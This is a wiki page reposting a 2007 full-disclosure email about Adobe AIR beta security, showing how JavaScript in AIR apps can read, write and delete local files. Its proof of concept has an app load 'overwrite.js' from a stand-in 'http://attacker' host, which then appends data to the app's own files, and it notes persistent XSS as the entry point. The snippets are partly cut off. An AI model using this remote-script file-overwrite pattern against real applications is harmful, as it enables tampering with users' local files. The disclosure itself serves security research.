Revision as of 09:53, 3 July 2007 by Dinis.cruz (talk | contribs) (New page: ''[Dinis note: this need formating since the stuff below is just a copy and paste from fukami's email ]'' fukami <> hide details 4:24 pm (23 minutes ago) to fu...)

(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to: navigation, search

[Dinis note: this need formating since the stuff below is just a copy and paste from fukami's email ]

fukami <> hide details 4:24 pm (23 minutes ago) to full-disclosure <> cc, date Jul 3, 2007 4:24 PM subject [WEB SECURITY] Security on AIR: Local file access through JavaScript Hi!

It's just a very first look to AIR (Adobes Integrated Runtime) and its possibilities to process HTML/JS. AIR is beta by now, so Adobe may change things in the final release.

  • What is AIR?

Quote from Adobe: "Adobe Integrated Runtime (AIR) is a cross- operating system runtime that allows you to leverage your existing web development skills (Flash, Flex, HTML, JavaScript, Ajax) to build and deploy Rich Internet Applications (RIAs) to the desktop."

  • Some security related informations on AIR:
    • The installer throws a warning about it's ability for unrestricted system access (so it's not a real surprise what AIR apps are capable of)
    • AIR uses WebKit as renderer on both supported platforms, Windows and MacOS
    • AIR introduces some JavaScript functions to access file systems and remote services, file SQL queries and open sockets
    • SWF files in the AIR application sandbox can cross-script any SWF file from any domain
    • Remote SWF files can only read files inside the security sandbox
    • SWF/ActionScript objects can access DOM and JavaScript (and vice versa I guess)
    • External JavaScript sources can be included and executed

  • File access

In general every file on local file system can be accessed by AIR apps. This includes reading, writing, appending or deletion as well as testing for file and directory existence. Another interesting feature is the possibility to overwrite calling files inside compiled AIR application during runtime.

  • Example (only tested on OSX so far)

For this to work in a real world scenario a service used by an AIRapp must be vulnerable to a persistant XSS (or another typical vulnerability), and the app needs to call data in a way that payloads gets rendered and executed.

  • This basic example consists of 4 files:
    • AIR application descriptor file: App.xml
    • Calling HTML file inside the AIR app package: caller.html
    • Malicious external JavaScript: overwrite.js
    • A file which just contains aliases for AIR runtime: AIRAliases.js (part of AIR SDK)
  • App.xml
<?xml version="1.0" encoding="UTF-8"?>
<application xmlns="" appId="air.poc.overwrite" version="0.1">
  <name>AIR Overwrite</name>
  <rootContent systemChrome="standard" visible="true">caller.html</rootContent>
  • caller.html
  1. For lazyness reasons the JS is included straight away
  2. But it also works if exploited and included during runtime
<title>AIR Overwrite</title>
<script src="AIRAliases.js" type="text/javascript"></script>
<script src="http://attacker/overwrite.js" type="text/javascript"></
<body onload="remoteLoad()">

local data

  • overwrite.js
function remoteLoad(){
 var localFile = air.File.documentsDirectory;
 localFile = localFile.resolve("/local/path/to/aip/resources/caller.html");
 // i.e. on MacOS: /Applications/AIR-overwrite.air/Contents/Resources/caller.html
 var localFileStream = new air.FileStream();, air.FileMode.APPEND);
 localFileStream.writeUTFBytes("data from remote");

To compile, the AIR SDK must be installed (beside the actual runtime). The bin of the SDK dir contains ADT, a command-line tool to generate AIR files: $ adt -package AIR-overwrite.air App.xml AIRAliases.js caller.html

After installing and running, "data from remote" is appended to caller.html. Another interesting point for overwriting inside AIR apps could be META-INF/application.xml which contains the pointers to the resources or certificates.

The example is kinda lame, I know. With such remote access much fancier stuff is imaginable. But what I found somehow funny is the fact that AIR doesn't have any mechanism to recognize changes to its own files.

  • Conclusion

Macromedia/Adobe Flash has a long history of bad or no security, so AIR seems to stay in that long tradition. By introducing those PNDF ("Potentially Dangerous Native Functions" - thanks to Wisec for making up this term :) Adobe opens new vectors XSS can cause. Stuff like SameOrigin policies and access restrictions are there for a very good and known reason. Adobe seem to know about the security implications as they describe in their developer docs, but nonetheless it doesn't makes it any better from my point of view.

There are already some real world services/sites offering AIR where exploitation works the way described.